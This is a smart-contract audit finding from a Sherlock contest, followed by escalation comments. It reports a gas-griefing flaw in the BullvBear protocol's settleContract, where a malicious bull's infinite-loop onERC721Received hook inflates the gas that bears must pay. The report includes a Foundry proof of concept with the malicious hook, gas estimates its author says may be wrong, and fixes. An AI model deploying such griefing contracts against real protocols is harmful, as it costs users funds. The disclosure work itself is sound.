curiousapple - [Medium-1] Due to external call done before state updates, bulls can add extra gas overhead for bears to settle.

[sherlock-admin]

curiousapple

medium

[Medium-1] Due to external call done before state updates, bulls can add extra gas overhead for bears to settle.

Summary

Due to external calls done before state updates, bulls can add extra gas overhead for bears to settle.

Vulnerability Detail

Bears can settle contracts through settleContract(), by doing the safe transfer of the NFT to the bull. BullVsBear is protected against the vanilla denial of service by malicious bulls where they revert to the hook of onERC721Received, but clever bulls can still take advantage of this hook to make bears pay extra gas to settle.

settleContract looks something like this

function settleContract(Order calldata order, uint tokenId) public nonReentrant {
    bytes32 orderHash = hashOrder(order);

   ...............................
   ...............................

   ...............................
   ...............................

        // Try to transfer the NFT to the bull (needed in case of a malicious bull that block transfers)
        **try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {}
        catch (bytes memory) {
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }**

        uint bearAssetAmount = order.premium + order.collateral;
        if (bearAssetAmount > 0) {
            // Transfer payment tokens to the Bear
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
        }

        settledContracts[contractId] = true;

        emit SettledContract(orderHash, tokenId, order);
    }

Our focus is on the try-catch block. Try tries to do a safeTrasnfer, and if failed, it goes to catch. Now please note from EIP-150 a caller can actually only give to a callee, an amount of gas no greater than:

gas available - (1/64* gas available)

Hence if 63/64 * gas is passed to IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) and it reverts or goes out of gas the remaining 1/64 should be able to execute the code from the catch block to settle.

       catch (bytes memory) {
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }

        uint bearAssetAmount = order.premium + order.collateral;
        if (bearAssetAmount > 0) {
            // Transfer payment tokens to the Bear
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
        }

        settledContracts[contractId] = true;

        emit SettledContract(orderHash, tokenId, order);

That is, if malicious bull implements an infinite loop inside onERC721Received hook and consumes a total of 63/64 gas passed, the remaining 1/64 should be enough to execute the above block.

Due to this, no matter what amount of gas cost is needed until the catch block, one must pass approximately 63 * (gas needed from the catch block).

As per my tests, the gas costs needed from the catch block are 107483

Verification

Inside Integration.t.sol
  function testMatchingAndContractSettlement(BvbProtocol.Order memory order) public {
        vm.assume(order.premium <= type(uint).max / 1000);
        vm.assume(order.collateral <= type(uint).max / 1000);
        // Build the order
        order.validity = block.timestamp + 1 hours;
        order.expiry = block.timestamp + 1 days;
        order.nonce = 10;
        order.fee = bvb.fee();
        order.maker = bear;
        order.asset = address(usdc);
        order.collection = address(doodles);
        order.isBull = false;

        bytes32 orderHash = bvb.hashOrder(order);

        // Sign the order
        bytes memory signature = signOrderHash(bearPrivateKey, orderHash);

        // Calculate fees
        uint owedFeesBull = (order.collateral * fee) / 1000;
        uint owedFeesBear = (order.premium * fee) / 1000;

        // Give Bull and Bear enough USDC
        deal(address(usdc), bull, order.collateral + owedFeesBull);
        deal(address(usdc), bear, order.premium + owedFeesBear);

        // Initial balances
        uint initialBalanceBull = usdc.balanceOf(bull);
        uint initialBalanceBear = usdc.balanceOf(bear);
        uint initialBalanceBvb = usdc.balanceOf(address(bvb));
        uint initialWithdrawableFees = bvb.withdrawableFees(address(usdc));

        // Approve Bvb to withdraw USDC from Bull and Bear
        vm.prank(bull);
        usdc.approve(address(bvb), type(uint).max);
        vm.prank(bear);
        usdc.approve(address(bvb), type(uint).max);

        // Taker (Bull) match with this order
        vm.prank(bull);
        bvb.matchOrder(order, signature);
        vm.prank(bull);
        bvb.transferPosition(orderHash, true, address(maliciousBull));

        // Give a NFT to the Bear + approve
        uint tokenId = 1234;
        doodles.mint(bear, tokenId);
        vm.prank(bear);
        doodles.setApprovalForAll(address(bvb), true);

        // Settle the contract
        vm.prank(bear);
        bvb.settleContract{gas: 3224490}(order, tokenId);
    }

Inside BvbMaliciousBull.sol

function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
 ) external virtual returns (bytes4) {
        while(true)
        {

        }
 }

Inherit GasHelpers from solmate  for BvbProtocol contract 
and add checkpoints like these inside settle contract 

        try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {} // @audit gas 
        catch (bytes memory) {
            startMeasuringGas("safeTransferCase");
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }

        uint bearAssetAmount = order.premium + order.collateral;
        if (bearAssetAmount > 0) {
            // Transfer payment tokens to the Bear
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
        }

        settledContracts[contractId] = true;

        emit SettledContract(orderHash, tokenId, order);
        stopMeasuringGas();

The output comes something like this

Now if we consider 63 * 107483 its 6771429 If we consider the following market condition its Gas Price	ETH Price
40 GWEI	$ 2000	$ 406.28574

This adds extra overhead for bears to settle the contract, which could be substantial depending on the gas market and the profit amount.

Please note I thought of this issue in the last hour, so the numbers could be wrong, but I do think it's an issue. In the happy case of a settled contract, one only requires 87906 gas, In the case of malicious bull, if only 6371429 is passed, it reverts with out of gas, so we can consider this as a point on a range

bvb.settleContract{gas: 6371429}(order, tokenId);

Impact: Medium

Adds extra overhead for bears to close the contract, which could be substantial depending on the gas market and the profit amount.

Code Snippet

https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L394

Tool used

Manual Review

Recommendation

Consider moving to try-catch block and thereby external calls to the end, making this attack less attractive. Or better refractor to pull pattern instead of push, where bull needs to pull nft by themselves.

Duplicate of #111

[0xcuriousapple]

Escalate for 5 USDC

This is an exact duplicate of https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/147 https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/142 https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/18

Consider including this for rewards as well.

Hmm, I see my first recommendation is incorrect; the second recommendation of pull vs push is more ideal. I am okay if my escalation gets rejected. :) However, please note for all of the above 147, 142,18, the recommendation is incorrect as well; you can not mitigate this threat by limiting gas sent only; a malicious bull can still cause out of gas through return bombing (memory expansion). Ideally, you would also need to limit the memory bytes one can return. More on it here https://github.com/nomad-xyz/ExcessivelySafeCall

[sherlock-admin]

Escalate for 5 USDC

This is an exact duplicate of https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/147 https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/142 https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/18

Consider including this for rewards as well.

Hmm, I see my first recommendation is incorrect; the second recommendation of pull vs push is more ideal. I am okay if my escalation gets rejected. :) However, please note for all of the above 147, 142,18, the recommendation is incorrect as well; you can not mitigate this threat by limiting gas sent only; a malicious bull can still cause out of gas through return bombing (memory expansion). Ideally, you would also need to limit the memory bytes one can return. More on it here https://github.com/nomad-xyz/ExcessivelySafeCall

You've created a valid escalation for 5 USDC!

To remove the escalation from consideration: Delete your comment. To change the amount you've staked on this escalation: Edit your comment (do not create a new comment).

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[Evert0x]

Escalation accepted

[sherlock-admin]

Escalation accepted

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.